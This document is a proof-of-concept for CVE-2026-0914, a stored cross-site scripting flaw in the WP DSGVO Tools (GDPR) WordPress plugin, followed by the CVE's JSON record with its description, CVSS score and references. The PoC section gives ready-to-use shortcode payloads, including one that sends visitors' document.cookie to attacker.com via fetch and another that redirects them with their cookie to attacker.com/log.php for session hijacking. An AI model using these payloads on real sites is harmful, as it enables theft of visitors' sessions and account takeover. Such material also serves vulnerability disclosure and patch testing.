CVE-2026-0914

<!-- WordPress Contributor+ role required --> <!-- PoC for CVE-2026-0914 Stored XSS via lw_content_block shortcode --> <!-- Basic XSS PoC --> [lw_content_block attr1='x' onerror='alert(document.domain)' ] <!-- Cookie stealing PoC --> [lw_content_block title='Test' content='<img src=x onerror="fetch("https://attacker.com/steal?c="+document.cookie)">'] <!-- Session hijacking PoC --> [lw_content_block custom_attr='"><script>document.location="https://attacker.com/log.php?cookie="+document.cookie</script>'] <!-- Stored payload in page content --> <!-- After injection, any visitor viewing the page will execute the malicious JS -->

{"cve": {"id": "CVE-2026-0914", "sourceIdentifier": "[email protected]", "published": "2026-01-23T13:15:49.530", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'lw_content_block' shortcode in all versions up to, and including, 3.1.36 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP DSGVO Tools (GDPR) para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'lw_content_block' del plugin en todas las versiones hasta la 3.1.36, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shapepress-dsgvo/tags/3.1.35/public/shortcodes/content-block-shortcode.php#L17", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3440083/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4474c79b-f93a-4725-8345-ad5c5260913c?source=cve", "source": "[email protected]"}]}}